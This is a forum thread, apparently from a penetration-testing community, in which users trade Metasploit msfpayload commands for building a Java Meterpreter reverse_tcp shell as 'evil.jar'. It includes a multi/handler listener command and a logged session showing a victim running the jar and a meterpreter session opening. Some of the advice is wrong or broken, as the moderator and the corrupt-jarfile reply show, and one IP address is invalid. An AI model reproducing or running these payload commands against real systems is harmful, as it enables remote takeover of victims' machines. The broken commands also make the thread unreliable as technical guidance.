Resultados 1 al 6 de 6

Tema: Create a java meterpreter payload

  1. #1
    Just burned his ISO
    Fecha de ingreso
    20/Dec/2010
    Mensajes
    10

    Predeterminado Create a java meterpreter payload

    Hello, I want to create a java reverse meterpreter shell just like all can do using a linux meterpreter shell:

    ./msfpayload linux/x86/meterpreter/reverse_tcp LHOST=172.16.24.150 X > /tmp/meterlin.bin

    If I do the same but with a java payload:

    ./msfpayload java/meterpreter/reverse_tcp LHOST=127.0.0.1 X > /home/default/Documentos/exploit
    No executable format support for this arch/platform

    Why???
    How must i create a java meterpreter payload????

    Thanks

  2. #2
    Junior Member Avatar de laptopz
    Fecha de ingreso
    12/Dec/2010
    Mensajes
    55

    Predeterminado Re: Create a java meterpreter payload

    ./msfpayload java/meterpreter/reverse_tcp LHOST=192.168.256.1 LPORT=31337 J > /tmp/evil.jar

    Edit: note to self : to write down 200 times "I will use google before writing stupid posts"

    Q: 2010/7/30 Shai rod <shai_r () msn com>:

    Hi all,
    I was wondering, if its possible to create a "java/meterpreter/reverse_tcp"
    jar file using msfpayload ?

    A: On Thu, Aug 12, 2010 at 2:41 PM, <egypt () metasploit com> wrote:

    Not yet. Right now you can take data/java/loader.jar and run it with
    "java -jar loader.jar <lhost> <lport>" to achieve your goal...

    Edit: I couldn`t resist testing anyway...

    brainstorm:/opt/metasploit3/msf3# ./msfpayload java/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 R > /tmp/evil.jar && ./msfcli multi/handler PAYLOAD=java/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 E[*] Please wait while we load the module tree...[*] Started reverse handler on x.x.x.x:4444[*] Starting the payload handler...
    ......
    victim@victory:~$java -jar /tmp/evil.jar
    ......[*] Sending stage (27642 bytes) to x.x.x.x[*] Meterpreter session 1 opened (x.x.x.x:4444 -> x.x.x.x:33371) at Thu Jan 13

    meterpreter >
    Última edición por laptopz; 12/01/2011 a las 23:33 Razón: wanted to know...
    If anything can go wrong, it will....

  3. #3
    Moderator Avatar de KMDave
    Fecha de ingreso
    19/Jan/2010
    Mensajes
    2.281

    Predeterminado Re: Create a java meterpreter payload

    Cita Iniciado por laptopz Ver mensaje
    ./msfpayload java/meterpreter/reverse_tcp LHOST=192.168.256.1 LPORT=31337 J > /tmp/evil.jar
    Which won't work by running it via java -jar evil.jar.

    Even though trying to help out is highly appreciated, please try out the solutions you are giving before posting.
    Tiocfaidh ár lá

  4. #4
    Just burned his ISO
    Fecha de ingreso
    20/Dec/2010
    Mensajes
    10

    Predeterminado Re: Create a java meterpreter payload

    So if it doesnt work in that way, how must i do to create a java payload?

    Thanks

  5. #5
    Junior Member Avatar de laptopz
    Fecha de ingreso
    12/Dec/2010
    Mensajes
    55

    Predeterminado Re: Create a java meterpreter payload

    You didn`t bother reading the thread,did ya?
    If anything can go wrong, it will....

  6. #6
    Just burned his ISO
    Fecha de ingreso
    20/Dec/2010
    Mensajes
    10

    Predeterminado Respuesta: Create a java meterpreter payload

    root@default:/opt/framework-3.5.1/msf3# java -jar /tmp/evil.jar
    Invalid or corrupt jarfile /tmp/evil.jar
    Why???

    Thanks

Temas Similares

  1. What is Payload and how to use it.?
    Por moorejohn90 en el foro Beginners Forum
    Resp.: 1
    Último mensaje: 20/08/2010, 10:09
  2. Creating and encoding a Metasploit meterpreter payload
    Por TAPE en el foro BackTrack Videos
    Resp.: 0
    Último mensaje: 12/06/2010, 00:27
  3. Java Applet with Meterpreter Payload
    Por purehate en el foro OLD Misc Tools
    Resp.: 1
    Último mensaje: 22/01/2010, 22:27
  4. Resp.: 1
    Último mensaje: 19/04/2009, 03:41

Permisos para publicar mensajes

  • No puedes crear nuevos temas
  • No puedes responder mensajes
  • No puedes subir archivos adjuntos
  • No puedes editar tus mensajes
  •